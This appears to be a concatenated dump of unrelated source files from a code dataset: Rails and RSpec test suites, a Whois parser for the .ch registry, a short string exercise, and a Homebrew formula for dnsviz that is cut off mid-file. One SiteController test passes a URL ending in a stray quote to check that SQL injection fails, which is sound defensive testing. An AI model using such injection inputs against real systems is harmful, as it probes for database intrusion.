before do
allow(environment.prometheus_adapter).to receive(:configured?).and_return(false)
end
it { is_expected.to be_truthy }
end
context 'with the environment stopped' do
before do
environment.stop
end
it { is_expected.to be_falsy }
end
end
context 'when sample metrics are not enabled' do
it { is_expected.to be_falsy }
end
end
context 'when the environment is unavailable' do
let(:project) { create(:prometheus_project) }
before do
environment.stop
end
it { is_expected.to be_falsy }
end
end
describe '#metrics' do
let(:project) { create(:prometheus_project) }
subject { environment.metrics }
context 'when the environment has metrics' do
before do
allow(environment).to receive(:has_metrics?).and_return(true)
end
it 'returns the metrics from the deployment service' do
expect(environment.prometheus_adapter)
.to receive(:query).with(:environment, environment)
.and_return(:fake_metrics)
is_expected.to eq(:fake_metrics)
end
context 'and the prometheus client is not present' do
before do
allow(environment.prometheus_adapter).to receive(:promethus_client).and_return(nil)
end
it { is_expected.to be_nil }
end
end
context 'when the environment does not have metrics' do
before do
allow(environment).to receive(:has_metrics?).and_return(false)
end
it { is_expected.to be_nil }
end
end
describe '#prometheus_status' do
context 'when a cluster is present' do
context 'when a deployment platform is present' do
let(:cluster) { create(:cluster, :provided_by_user, :project) }
let(:environment) { create(:environment, project: cluster.project) }
subject { environment.prometheus_status }
context 'when the prometheus application status is :updating' do
let!(:prometheus) { create(:clusters_applications_prometheus, :updating, cluster: cluster) }
it { is_expected.to eq(:updating) }
end
context 'when the prometheus application state is :updated' do
let!(:prometheus) { create(:clusters_applications_prometheus, :updated, cluster: cluster) }
it { is_expected.to eq(:updated) }
end
context 'when the prometheus application is not installed' do
it { is_expected.to be_nil }
end
end
context 'when a deployment platform is not present' do
let(:cluster) { create(:cluster, :project) }
let(:environment) { create(:environment, project: cluster.project) }
subject { environment.prometheus_status }
it { is_expected.to be_nil }
end
end
context 'when a cluster is not present' do
let(:project) { create(:project, :stubbed_repository) }
let(:environment) { create(:environment, project: project) }
subject { environment.prometheus_status }
it { is_expected.to be_nil }
end
end
describe '#additional_metrics' do
let(:project) { create(:prometheus_project) }
let(:metric_params) { [] }
subject { environment.additional_metrics(*metric_params) }
context 'when the environment has additional metrics' do
before do
allow(environment).to receive(:has_metrics?).and_return(true)
end
it 'returns the additional metrics from the deployment service' do
expect(environment.prometheus_adapter)
.to receive(:query)
.with(:additional_metrics_environment, environment)
.and_return(:fake_metrics)
is_expected.to eq(:fake_metrics)
end
context 'when time window arguments are provided' do
let(:metric_params) { [1552642245.067, Time.current] }
it 'queries with the expected parameters' do
expect(environment.prometheus_adapter)
.to receive(:query)
.with(:additional_metrics_environment, environment, *metric_params.map(&:to_f))
.and_return(:fake_metrics)
is_expected.to eq(:fake_metrics)
end
end
end
context 'when the environment does not have metrics' do
before do
allow(environment).to receive(:has_metrics?).and_return(false)
end
it { is_expected.to be_nil }
end
end
describe '#slug' do
it "is automatically generated" do
expect(environment.slug).not_to be_nil
end
it "is not regenerated if name changes" do
original_slug = environment.slug
environment.update!(name: environment.name.reverse)
expect(environment.slug).to eq(original_slug)
end
it "regenerates the slug if nil" do
environment = build(:environment, slug: nil)
new_slug = environment.slug
expect(new_slug).not_to be_nil
expect(environment.slug).to eq(new_slug)
end
end
describe '#ref_path' do
subject(:environment) do
create(:environment, name: 'staging / review-1')
end
it 'returns a path that uses the slug and does not have spaces' do
expect(environment.ref_path).to start_with('refs/environments/staging-review-1-')
end
it "doesn't change when the slug is nil initially" do
environment.slug = nil
expect(environment.ref_path).to eq(environment.ref_path)
end
end
describe '#external_url_for' do
let(:source_path) { 'source/file.html' }
let(:sha) { RepoHelpers.sample_commit.id }
context 'when the public path is not known' do
before do
environment.external_url = 'http://example.com'
allow(project).to receive(:public_path_for_source_path).with(source_path, sha).and_return(nil)
end
it 'returns nil' do
expect(environment.external_url_for(source_path, sha)).to be_nil
end
end
context 'when the public path is known' do
where(:external_url, :public_path, :full_url) do
'http://example.com' | 'file.html' | 'http://example.com/file.html'
'http://example.com/' | 'file.html' | 'http://example.com/file.html'
'http://example.com' | '/file.html' | 'http://example.com/file.html'
'http://example.com/' | '/file.html' | 'http://example.com/file.html'
'http://example.com/subpath' | 'public/file.html' | 'http://example.com/subpath/public/file.html'
'http://example.com/subpath/' | 'public/file.html' | 'http://example.com/subpath/public/file.html'
'http://example.com/subpath' | '/public/file.html' | 'http://example.com/subpath/public/file.html'
'http://example.com/subpath/' | '/public/file.html' | 'http://example.com/subpath/public/file.html'
end
with_them do
it 'returns the full external URL' do
environment.external_url = external_url
allow(project).to receive(:public_path_for_source_path).with(source_path, sha).and_return(public_path)
expect(environment.external_url_for(source_path, sha)).to eq(full_url)
end
end
end
end
describe '#prometheus_adapter' do
it 'calls prometheus adapter service' do
expect_next_instance_of(Gitlab::Prometheus::Adapter) do |instance|
expect(instance).to receive(:prometheus_adapter)
end
subject.prometheus_adapter
end
end
describe '#knative_services_finder' do
let(:environment) { create(:environment) }
subject { environment.knative_services_finder }
context 'environment has no deployments' do
it { is_expected.to be_nil }
end
context 'environment has a deployment' do
let!(:deployment) { create(:deployment, :success, environment: environment, cluster: cluster) }
context 'with no cluster associated' do
let(:cluster) { nil }
it { is_expected.to be_nil }
end
context 'with a cluster associated' do
let(:cluster) { create(:cluster) }
it 'calls the service finder' do
expect(Clusters::KnativeServicesFinder).to receive(:new)
.with(cluster, environment).and_return(:finder)
is_expected.to eq :finder
end
end
end
end
describe '#auto_stop_in' do
subject { environment.auto_stop_in }
context 'when environment will be expired' do
let(:environment) { build(:environment, :will_auto_stop) }
it 'returns when it will expire' do
Timecop.freeze { is_expected.to eq(1.day.to_i) }
end
end
context 'when environment is not expired' do
let(:environment) { build(:environment) }
it { is_expected.to be_nil }
end
end
describe '#auto_stop_in=' do
subject { environment.auto_stop_in = value }
let(:environment) { build(:environment) }
where(:value, :expected_result) do
'2 days' | 2.days.to_i
'1 week' | 1.week.to_i
'2h20min' | 2.hours.to_i + 20.minutes.to_i
'abcdef' | ChronicDuration::DurationParseError
'' | nil
nil | nil
end
with_them do
it 'sets correct auto_stop_in' do
Timecop.freeze do
if expected_result.is_a?(Integer) || expected_result.nil?
subject
expect(environment.auto_stop_in).to eq(expected_result)
else
expect { subject }.to raise_error(expected_result)
end
end
end
end
end
describe '.for_id_and_slug' do
subject { described_class.for_id_and_slug(environment.id, environment.slug) }
let(:environment) { create(:environment) }
it { is_expected.not_to be_nil }
end
describe '.find_or_create_by_name' do
it 'finds an existing environment if it exists' do
env = create(:environment)
expect(described_class.find_or_create_by_name(env.name)).to eq(env)
end
it 'creates an environment if it does not exist' do
env = project.environments.find_or_create_by_name('kittens')
expect(env).to be_an_instance_of(described_class)
expect(env).to be_persisted
end
end
describe '#elastic_stack_available?' do
let!(:cluster) { create(:cluster, :project, :provided_by_user, projects: [project]) }
let!(:deployment) { create(:deployment, :success, environment: environment, project: project, cluster: cluster) }
context 'when app does not exist' do
it 'returns false' do
expect(environment.elastic_stack_available?).to be(false)
end
end
context 'when app exists' do
let!(:application) { create(:clusters_applications_elastic_stack, cluster: cluster) }
it 'returns false' do
expect(environment.elastic_stack_available?).to be(false)
end
end
context 'when app is installed' do
let!(:application) { create(:clusters_applications_elastic_stack, :installed, cluster: cluster) }
it 'returns true' do
expect(environment.elastic_stack_available?).to be(true)
end
end
context 'when app is updated' do
let!(:application) { create(:clusters_applications_elastic_stack, :updated, cluster: cluster) }
it 'returns true' do
expect(environment.elastic_stack_available?).to be(true)
end
end
end
describe '#destroy' do
it 'remove the deployment refs from gitaly' do
deployment = create(:deployment, :success, environment: environment, project: project)
deployment.create_ref
expect { environment.destroy }.to change { project.commit(deployment.ref_path) }.to(nil)
end
end
describe '.count_by_state' do
context 'when environments are not empty' do
let!(:environment1) { create(:environment, project: project, state: 'stopped') }
let!(:environment2) { create(:environment, project: project, state: 'available') }
let!(:environment3) { create(:environment, project: project, state: 'stopped') }
it 'returns the environments count grouped by state' do
expect(project.environments.count_by_state).to eq({ stopped: 2, available: 1 })
end
it 'returns the environments count grouped by state with zero value' do
environment2.update(state: 'stopped')
expect(project.environments.count_by_state).to eq({ stopped: 3, available: 0 })
end
end
it 'returns zero state counts when environments are empty' do
expect(project.environments.count_by_state).to eq({ stopped: 0, available: 0 })
end
end
describe '#has_opened_alert?' do
subject { environment.has_opened_alert? }
let_it_be(:project) { create(:project) }
let_it_be(:environment, reload: true) { create(:environment, project: project) }
context 'when environment has an triggered alert' do
let!(:alert) { create(:alert_management_alert, :triggered, project: project, environment: environment) }
it { is_expected.to be(true) }
end
context 'when environment has an resolved alert' do
let!(:alert) { create(:alert_management_alert, :resolved, project: project, environment: environment) }
it { is_expected.to be(false) }
end
context 'when environment does not have an alert' do
it { is_expected.to be(false) }
end
end
end
| 30.876364 | 139 | 0.659993 |
f82fd54d80764a42d5f78c4da864b8227551b22c | 1,230 | #
#The MIT License (MIT)
#
#Copyright (c) 2016, Groupon, Inc.
#
#Permission is hereby granted, free of charge, to any person obtaining a copy
#of this software and associated documentation files (the "Software"), to deal
#in the Software without restriction, including without limitation the rights
#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
#copies of the Software, and to permit persons to whom the Software is
#furnished to do so, subject to the following conditions:
#
#The above copyright notice and this permission notice shall be included in
#all copies or substantial portions of the Software.
#
#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
#THE SOFTWARE.
#
require 'test_helper'
class SystemStatTest < ActiveSupport::TestCase
# test "the truth" do
# assert true
# end
end
| 39.677419 | 78 | 0.77561 |
4ab060b2b726c259680d3d0fcc97e8a3ad3f4aeb | 5,175 | # frozen_string_literal: true
# == Schema Information
#
# Table name: activity_logs
#
# id :bigint not null, primary key
# controller_name :string
# action_name :string
# http_format :string
# http_method :string
# path :string
# http_status :integer
# user_id :bigint
# program_id :bigint
# payload :json
# remote_ip :string
# created_at :datetime not null
# updated_at :datetime not null
#
require "rails_helper"
module CscCore
RSpec.describe ActivityLog, type: :model do
before { stub_const("ENV", {}) }
it { is_expected.to have_attribute(:controller_name) }
it { is_expected.to have_attribute(:action_name) }
it { is_expected.to have_attribute(:path) }
it { is_expected.to have_attribute(:http_method) }
it { is_expected.to have_attribute(:http_format) }
it { is_expected.to have_attribute(:http_status) }
it { is_expected.to have_attribute(:payload) }
it { is_expected.to belong_to(:user) }
it { is_expected.to belong_to(:program).optional }
describe "Delegate" do
let(:activity_log) { create(:activity_log, user: build(:user)) }
context "without program" do
before { activity_log.program = nil }
specify { expect(activity_log.program_name).to be_blank }
end
context "with program" do
let(:program) { build(:program, name: "my program") }
before { activity_log.program = program }
specify { expect(activity_log.program_name).to eq("my program") }
end
end
describe "ActivityLog::RoledScope" do
let(:program1) { create(:program) }
let(:program2) { create(:program) }
let(:staff) { create(:user, :staff, program: program1) }
let(:program_admin) { create(:user, program: program1) }
let(:system_admin) { create(:user, :system_admin) }
let(:staff_log) { create(:activity_log, user: staff, program: staff.program) }
let(:program_admin_log) { create(:activity_log, user: program_admin, program: program_admin.program) }
let(:system_admin_log) { create(:activity_log, user: system_admin, program: system_admin.program) }
context "As staff" do
it "shows staff logs" do
params = { role: staff.role, user_id: staff.id, program_id: staff.program_id }
expect(described_class.filter(params)).to match_array [staff_log]
end
end
context "As program admin" do
it "shows program logs" do
params = { role: program_admin.role, user_id: program_admin.id, program_id: program_admin.program_id }
expect(described_class.filter(params)).to match_array [staff_log, program_admin_log]
end
end
context "As system admin" do
it "shows all logs" do
params = { role: system_admin.role, user_id: system_admin.id, program_id: system_admin.program_id }
expect(described_class.filter(params)).to match_array [staff_log, program_admin_log, system_admin_log]
end
end
end
describe "Unique request within loggable period" do
let(:user) { create(:user) }
let!(:activity_log) { create(:activity_log, http_method: "GET", path: "/scorecards", user: user) }
before do
stub_const("ENV", { "ACTIVITY_LOGGABLE_PERIODIC_IN_MINUTE" => "5" })
end
context "when ACTIVITY_LOG_PATHS is empty" do
context "with GET request" do
let(:new_activity_log) { build(:activity_log, http_method: "GET", path: "/scorecards", user: user) }
specify { expect(new_activity_log).to be_invalid }
it "raises exception" do
I18n.with_locale(:en) do
expect do
new_activity_log.save!
end.to raise_error(ActiveRecord::RecordInvalid, /Request duplicate/)
end
end
context "when last activity older than current activity" do
before { activity_log.update(created_at: 10.minutes.ago) }
specify { expect(new_activity_log).to be_valid }
end
context "with different path" do
before { new_activity_log.update(path: "/new-path") }
specify { expect(new_activity_log).to be_valid }
end
end
context "with non-GET request" do
let(:new_activity_log) { build(:activity_log, http_method: "POST", path: "/scorecards", user: user) }
specify { expect(new_activity_log).to be_valid }
it "creates more than one" do
expect do
ActivityLog.create(new_activity_log.attributes)
ActivityLog.create(new_activity_log.attributes)
end.to change { ActivityLog.count }.by 2
end
end
end
context "when ACTIVITY_LOG_PATHS is present" do
let(:new_activity_log) { build(:activity_log, http_method: "GET", path: "/new-path", user: user) }
before do
stub_const("ENV", { "ACTIVITY_LOG_PATHS" => "scorecards" })
end
specify { expect(new_activity_log).to be_invalid }
end
end
end
end
| 35.445205 | 112 | 0.629758 |
4a8e58ee203579041e07a7443a2cd9b07118c581 | 12,808 | # -*- encoding : utf-8 -*-
require 'test_helper'
class SiteControllerTest < ActionController::TestCase
basic_test :carcel, :smileys, :rss, :contactar, :privacidad, :album, :fusiones, :webs_de_clanes, :logo, :responsabilidades, :portales, :novedades
test "should_create_pageview" do
dbr = User.db_query("SELECT count(*) FROM stats.pageviews")
@request.cookies['__stma'] = 'aas'
get :x
assert_response :success
dbr1 = User.db_query("SELECT count(*) FROM stats.pageviews")
assert_equal dbr[0]['count'].to_i + 1, dbr1[0]['count'].to_i
end
test "maintain_lock" do
l = ContentsLock.create({:content_id => 1, :user_id => 1})
ContentsLock.db_query("UPDATE contents_locks set updated_on = now() - '30 seconds'::interval WHERE id = #{l.id}")
sym_login(1)
get :maintain_lock, {:id => l.id}
assert_response :success
l.reload
assert l.updated_on > 10.seconds.ago, l.updated_on.to_s
end
# test "mrachmed clasifica comentarios" do
# [:mrachmed_clasifica_comentarios_good, :mrachmed_clasifica_comentarios_bad].each do |act|
# assert_raises(AccessDenied) { get act }
# end
#
# sym_login 1
#
# assert_count_increases(CommentViolationOpinion) do
# c_id = Comment.first.id
# post :mrachmed_clasifica_comentarios_good, :comment_id => c_id
# assert_redirected_to "/site/mrachmed_clasifica_comentarios?prev_comment_id=#{c_id}"
# assert flash[:error].nil?
# end
# CommentViolationOpinion.last.destroy
#
# assert_count_increases(CommentViolationOpinion) do
# c_id = Comment.first.id
# post :mrachmed_clasifica_comentarios_bad, :comment_id => c_id
# assert_redirected_to "/site/mrachmed_clasifica_comentarios?prev_comment_id=#{c_id}"
# assert flash[:error].nil?
# end
#
# [:mrachmed_clasifica_comentarios_good, :mrachmed_clasifica_comentarios_bad].each do |act|
# get act
# assert_response :success
# assert flash[:error]
# end
# end
test "get_banners_of_gallery" do
assert_raises(ActiveRecord::RecordNotFound) { get :get_banners_of_gallery }
get :get_banners_of_gallery, :gallery => 'simples'
assert_response :success
end
test "new_chatline_should_require_user" do
assert_raises(AccessDenied) { post :new_chatline, {:line => 'foo'} }
end
test "mobjobs only registered" do
assert_raises(AccessDenied) { get :el_callejon }
sym_login 1
get :el_callejon
assert_response :success
end
test "new_chatline_should_work" do
sym_login 1
assert_count_increases(Chatline) do
post :new_chatline, {:line => 'foo'}
end
end
test "rate_content_should_work_if_not_authed" do
#User.connection.query_cache_enabled = false
assert_count_increases(ContentRating) do
post :rate_content, { :content_rating => { :rating => '1', :content_id => 1}}
end
assert_response :success
end
test "unserviceable_domain" do
get :unserviceable_domain
assert_response :success
end
test "te_buscamos" do
get :te_buscamos
assert_response :success
end
test "rate_content_should_work_if_authed_and_skill" do
give_skill(2, "RateContents")
sym_login 2
assert_difference("ContentRating.count") do
post :rate_content, { :content_rating => { :rating => '1', :content_id => 1}}
end
assert_response :success
end
test "rate_content_shouldnt_work_if_authed_no_skill" do
sym_login 2
assert_difference("ContentRating.count", 0) do
post :rate_content, { :content_rating => { :rating => '1', :content_id => 1}}
end
assert_response :success
end
test "acercade" do
get :index
assert_response :success
assert_template 'site/index'
end
test "add_to_tracker_should_work" do
sym_login 1
assert_count_increases(TrackerItem) do
post :add_to_tracker, {:id => 2, :redirto => '/'}
assert_response :redirect
end
end
test "get_non_updated_tracker_items" do
sym_login 1
get :x, {:ids => '1,2,3'}
assert_response :success
end
test "x_with_another_visitor_id_should_update_cookie_visitor_id_when_login_in" do
sym_login 1
@request.cookies['__stma'] = '77524682.953150376.1212331927.1212773764.1212777897.14'
treated_visitors = User.db_query("SELECT COUNT(*) FROM treated_visitors")[0]['count'].to_i
get :x, '_xab' => {1 => 2}, '_xvi' => '77524682'
assert_response :success
assert_equal treated_visitors + 1, User.db_query("SELECT COUNT(*) FROM treated_visitors")[0]['count'].to_i
dbinfo = User.db_query("SELECT * FROM treated_visitors ORDER BY id desc LIMIT 1")[0]
assert_equal 2, dbinfo['treatment'].to_i
@controller = SiteController.new # to reset
# Simulamos que conecta desde otro pc
@request.cookies['__stma'] = '23131.953150376.1212331927.1212773764.1212777897.14'
sym_login 1
get :x, '_xab' => {1 => 1}, '_xvi' => '23131'
assert_response :success
assert @response.cookies['__stma'].to_s.include?('77524682')
end
test "x_with_changed_treatment" do
@request.cookies['__stma'] = '77524682.953150376.1212331927.1212773764.1212777897.14'
treated_visitors = User.db_query("SELECT COUNT(*) FROM treated_visitors")[0]['count'].to_i
get :x, '_xab' => {1 => 2}, '_xvi' => '77524682'
assert_response :success
assert_equal treated_visitors + 1, User.db_query("SELECT COUNT(*) FROM treated_visitors")[0]['count'].to_i
dbinfo = User.db_query("SELECT * FROM treated_visitors ORDER BY id desc LIMIT 1")[0]
assert_equal 2, dbinfo['treatment'].to_i
@controller = SiteController.new # to reset
sym_login 1
get :x, '_xab' => {1 => 1}, '_xvi' => '77524682'
assert_response :success
dbinfo = User.db_query("SELECT * FROM treated_visitors ORDER BY id desc LIMIT 1")[0]
assert_equal 1, dbinfo['user_id'].to_i
assert_equal 1, dbinfo['treatment'].to_i
assert_equal treated_visitors + 2, User.db_query("SELECT COUNT(*) FROM treated_visitors")[0]['count'].to_i
end
test "trastornos" do
get :trastornos
assert_response :success
end
test "del_from_tracker_should_work" do
test_add_to_tracker_should_work
ti = TrackerItem.find(:first, :order => 'id desc')
assert ti.is_tracked?
post :del_from_tracker, {:id => 2, :redirto => '/'}
assert_response :redirect
ti.reload
assert !ti.is_tracked?
end
test "should_redir_old_acercade_url" do
get :acercade
assert_redirected_to '/site'
end
test "banners" do
get :banners
assert_response :success
end
test "netiquette" do
get :netiquette
assert_response :success
end
test "online_should_work_with_mini" do
User.db_query("UPDATE users set lastseen_on = now()")
get :chat
assert_response :success
end
test "online_should_work_with_big" do
User.db_query("UPDATE users set lastseen_on = now()")
@request.cookies['chatpref'] = 'big'
get :chat
assert_response :success
end
test "update_chatlines_should_work_with_mini" do
User.db_query("UPDATE chatlines set created_on = now()")
get :update_chatlines
assert_response :success
end
test "update_chatlines_should_work_with_big" do
User.db_query("UPDATE chatlines set created_on = now()")
@request.cookies['chatpref'] = 'big'
get :update_chatlines
assert_response :success
end
test "faq" do
get :faq
assert_response :success
end
test "banners_duke" do
get :banners_duke
assert_response :success
end
test "banners_misc" do
get :banners_misc
assert_response :success
end
test "staff" do
get :staff
assert_response :success
end
test "ejemplos_guids" do
get :ejemplos_guids
assert_response :success
end
test "should_update_online_state_if_x" do
sym_login(1)
u = User.find(1)
u.lastseen_on = 1.day.ago
u.save
get :x
assert_response :success
u.reload
assert u.lastseen_on.to_i > 1.day.ago.to_i
assert u.lastseen_on.to_i > Time.now.to_i - 2
end
test "del_chatline_should_work" do
test_new_chatline_should_work
assert_count_decreases(Chatline) do
post :del_chatline, {:id => Chatline.find(:first).id}
end
assert_response :success
end
test "should_do_nothing_if_x_with_anonymous" do
get :x
assert_response :success
end
test "should_properly_acknowledge_resurrection" do
u1 = User.find(1)
u2 = User.find(2)
u2.lastseen_on = 4.months.ago
u2.resurrected_by_user_id = 1
u2.resurrection_started_on = 1.minute.ago
u2.save
mails_sent = ActionMailer::Base.deliveries.size
sym_login(2)
get :x
assert_response :success
u1.reload
assert_equal mails_sent + 1, ActionMailer::Base.deliveries.size # el email de aviso referer
assert_equal u1.email, ActionMailer::Base.deliveries.at(-1).to[0]
end
test "should_clean_html" do
content = URI::escape('hello world') # usamos URI::escape en lugar de CGI::escape porque CGI::escape es incompatible con unescape de javascript
sym_login 1
post :clean_html, { :editorId => 'fuubar', :content => content }
assert_response :success
expected_response = <<-END
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<response>
<method>wsEditorUpdateContentRemote</method>
<result><![CDATA[var res = new Object;
res.editorId = 'fuubar';
res.content = unescape('#{content}');]]></result>
</response>
END
assert_equal expected_response, @response.body
end
# test "should_count_hits_for_ads" do
# initial = User.db_query("SELECT count(*) from stats.ads_shown")[0]['count'].to_i
# get :colabora
# assert_response :success
# assert_equal initial + 1, User.db_query("SELECT count(*) from stats.ads_shown")[0]['count'].to_i
# end
test "cnta_should_properly_account_for_hits" do
initial_count = User.db_query("SELECT count(*) FROM stats.ads")[0]['count'].to_i
get :cnta, :url => 'http://google.com/\'' # para testear tb q no se produzca sql injection
assert_response :created
assert_equal initial_count + 1, User.db_query("SELECT count(*) FROM stats.ads")[0]['count'].to_i
end
test "cnta_should_properly_account_for_hits_with_user_id" do
sym_login 1
initial_count = User.db_query("SELECT count(*) FROM stats.ads")[0]['count'].to_i
get :cnta, :url => 'http://google.com/', :element_id => 'wiii'
assert_response :created
assert_equal initial_count + 1, User.db_query("SELECT count(*) FROM stats.ads")[0]['count'].to_i
assert_equal 1, User.db_query("SELECT user_id FROM stats.ads ORDER BY id desc limit 1")[0]['user_id'].to_i
assert_equal 'wiii', User.db_query("SELECT element_id FROM stats.ads ORDER BY id desc limit 1")[0]['element_id']
end
test "should_track_email_read_on" do
message_key = Kernel.rand.to_s
se = SentEmail.new(:title => 'foo', :sender => 'fulanito', :recipient => 'menganito', :message_key => message_key)
start = Time.now
assert se.save
get :logoe, :mid => message_key
assert_response :success
se.reload
assert se.first_read_on.to_i >= start.to_i
end
test "do_contactar_should_send_email" do
m_count = Message.count
post :do_contactar, :subject => 'Otros', :message => 'hola tio', :email => 'fulanito de tal'
assert_response :redirect
assert_equal m_count, Message.count
# anon
assert_count_increases(ActionMailer::Base.deliveries) do
post :do_contactar, :subject => 'Otros', :message => 'hola tio', :email => 'fulanito de tal', :fsckspmr => SiteController.do_contactar_key
assert_response :redirect
end
# reg
assert_count_increases(Message) do
sym_login 2
post :do_contactar, :subject => 'Otros', :message => 'hola tio', :email => 'fulanito de tal', :fsckspmr => SiteController.do_contactar_key
assert_response :redirect
end
end
test "stats_hipotesis" do
#abn = AbTest.new(:name => 'foo', :active => true, :metrics => ['comments'], :treatments => 2)
#assert abn.save
assert_raises(AccessDenied) { get :stats_hipotesis }
sym_login 1
get :stats_hipotesis
assert_response :success
end
test "stats_hipotesis_archivo" do
assert_raises(AccessDenied) { get :stats_hipotesis_archivo }
sym_login 1
get :stats_hipotesis_archivo
assert_response :success
end
test "report_content_form" do
assert_raises(AccessDenied) { get :report_content_form }
sym_login 1
get :report_content_form
assert_response :success
end
test "root_term_children_if_not_authed" do
assert_raises(AccessDenied) { get :root_term_children, :id => 1, :content_type => 'Tutorial' }
end
test "root_term_children_if_authed" do
sym_login 1
get :root_term_children, :id => 1, :content_type => 'Tutorial'
assert_response :success
end
end
| 31.239024 | 147 | 0.698782 |
1d921dc273c92638b55fa2f62330e686b1ca1aae | 307 | class RsFormatValidator < ValidatesRussian::Validator
# see format here: http://ru.wikipedia.org/wiki/Расчётный_счёт
validates_using do |rs|
next false unless rs.size == 20 || rs.size == 25
next false unless ValidatesRussian::OKV.include?(rs[5..7])
next false unless rs =~ /^\d+$/
end
end
| 34.111111 | 64 | 0.700326 |
d5d0247539fae19d6f7d77976284faf9ed7fee0c | 3,159 | #--
# Ruby Whois
#
# An intelligent pure Ruby WHOIS client and parser.
#
# Copyright (c) 2009-2018 Simone Carletti <[email protected]>
#++
require_relative 'base'
module Whois
class Parsers
#
# = whois.nic.ch parser
#
# Parser for the whois.nic.ch server.
#
# NOTE: This parser is just a stub and provides only a few basic methods
# to check for domain availability and get domain status.
# Please consider to contribute implementing missing methods.
# See WhoisNicIt parser for an explanation of all available methods
# and examples.
#
class WhoisNicCh < Base
property_supported :status do
if available?
:available
else
:registered
end
end
property_supported :available? do
!!(content_for_scanner =~ /We do not have an entry/)
end
property_supported :registered? do
!available?
end
property_not_supported :created_on
property_not_supported :updated_on
property_not_supported :expires_on
# Registrant is given in the following format:
#
# Holder of domain name:
# Name
# Address line 1
# Address line 2
# Address line n
# Contractual Language: language
#
property_supported :registrant_contacts do
if content_for_scanner =~ /Holder of domain name:\n(.+?)\n(.+?)\nContractual Language:.*\n\n/m
Parser::Contact.new({ :name => $1, :address => $2, :type => Parser::Contact::TYPE_REGISTRANT })
end
end
# Technical contact is given in the following format:
#
# Technical contact:
# Name
# Address line 1
# Address line 2
# Address line n
#
property_supported :technical_contacts do
if content_for_scanner =~ /Technical contact:\n(.+?)\n(.+?)\n\n/m
Parser::Contact.new({ :name => $1, :address => $2, :type => Parser::Contact::TYPE_TECHNICAL })
end
end
property_not_supported :admin_contacts
# Nameservers are listed in the following formats:
#
# ns1.citrin.ch
# ns1.citrin.ch [193.247.72.8]
#
property_supported :nameservers do
if content_for_scanner =~ /Name servers:\n((.+\n)+)(?:\n|\z)/
list = {}
order = []
$1.split("\n").map do |line|
if line =~ /(.+)\t\[(.+)\]/
name, ip = $1, $2
order << name unless order.include?(name)
list[name] ||= Parser::Nameserver.new(:name => name)
list[name].ipv4 = ip if Whois::Server.send(:valid_ipv4?, ip)
list[name].ipv6 = ip if Whois::Server.send(:valid_ipv6?, ip)
else
order << line unless order.include?(line)
list[line] ||= Parser::Nameserver.new(:name => line)
end
end
order.map { |name| list[name] }
end
end
property_supported :registrar do
if content_for_scanner =~ /Registrar:\n(.+?)\n\n/m
Parser::Registrar.new(name: $1)
end
end
end
end
end
| 27.232759 | 105 | 0.571067 |
bfcfca24cf6d577288153f8ab7ee9363a1c1a7fe | 532 | # You'll get a string and a boolean.
# When the boolean is true, return a new string containing all the odd characters.
# When the boolean is false, return a new string containing all the even characters.
#
# If you have no idea where to begin, remember to check out the cheatsheets for string and logic/control
#
def odds_and_evens(string, return_odds)
if return_odds == true
string.each_char {|c| print c if string.index(c).even? == true}
else
string.each_char {|c| print c if string.index(c).odd? == true}
end
end
| 35.466667 | 104 | 0.731203 |
61c9495e2def25918eca8b75357523c7392a9275 | 6,069 | class Dnsviz < Formula
include Language::Python::Virtualenv
desc "Tools for analyzing and visualizing DNS and DNSSEC behavior"
homepage "https://github.com/dnsviz/dnsviz/"
url "https://files.pythonhosted.org/packages/a5/7c/b38750c866e7e29bc76450c75f61ede6c2560e75cfe36df81e9517612434/dnsviz-0.9.4.tar.gz"
sha256 "6448d4c6e7c1844aa2a394d60f7cc53721ad985e0e830c30265ef08a74a7aa28"
license "GPL-2.0-or-later"
bottle do
sha256 cellar: :any, arm64_big_sur: "e70c11a9ccb3daf97c76cab2632520d2abac3678dd5712cba719e67d921e65cb"
sha256 cellar: :any, big_sur: "dfff42e474d4c0e7f26d2a87161f85478646745d2528fcffb38859401f1b6e6b"
sha256 cellar: :any, catalina: "4323bcd148cdada2c26229d2bc0b9b63236d5ba4e1cae635272a7a599cfbd9d4"
sha256 cellar: :any, mojave: "5580679f91243fb6d6823f2ba1d55e468983734e9753f94e70c455bd70c3b072"
end
depends_on "pkg-config" => :build
depends_on "swig" => :build
depends_on "bind" => :test
depends_on "graphviz"
depends_on "[email protected]"
depends_on "[email protected]"
on_linux do
# Fix build error of m2crypto, see https://github.com/crocs-muni/roca/issues/1#issuecomment-336893096
depends_on "swig"
end
resource "dnspython" do
url "https://files.pythonhosted.org/packages/13/27/5277de856f605f3429d752a39af3588e29d10181a3aa2e2ee471d817485a/dnspython-2.1.0.zip"
sha256 "e4a87f0b573201a0f3727fa18a516b055fd1107e0e5477cded4a2de497df1dd4"
end
resource "M2Crypto" do
url "https://files.pythonhosted.org/packages/2c/52/c35ec79dd97a8ecf6b2bbd651df528abb47705def774a4a15b99977274e8/M2Crypto-0.38.0.tar.gz"
sha256 "99f2260a30901c949a8dc6d5f82cd5312ffb8abc92e76633baf231bbbcb2decb"
end
resource "pygraphviz" do
url "https://files.pythonhosted.org/packages/3a/d6/2c56f09ee83dbebb62c40487e4c972135661b9984fec9b30b77fb497090c/pygraphviz-1.7.zip"
sha256 "a7bec6609f37cf1e64898c59f075afd659106cf9356c5f387cecaa2e0cdb2304"
end
def install
ENV["SWIG_FEATURES"]="-I#{Formula["[email protected]"].opt_include}"
virtualenv_install_with_resources
end
test do
(testpath/"example.com.zone.signed").write <<~EOS
; File written on Thu Jan 10 21:14:03 2019
; dnssec_signzone version 9.11.4-P2-3~bpo9+1-Debian
example.com. 3600 IN SOA example.com. root.example.com. (
1 ; serial
3600 ; refresh (1 hour)
3600 ; retry (1 hour)
14400 ; expire (4 hours)
3600 ; minimum (1 hour)
)
3600 RRSIG SOA 10 2 3600 (
20230110031403 20190111031403 39026 example.com.
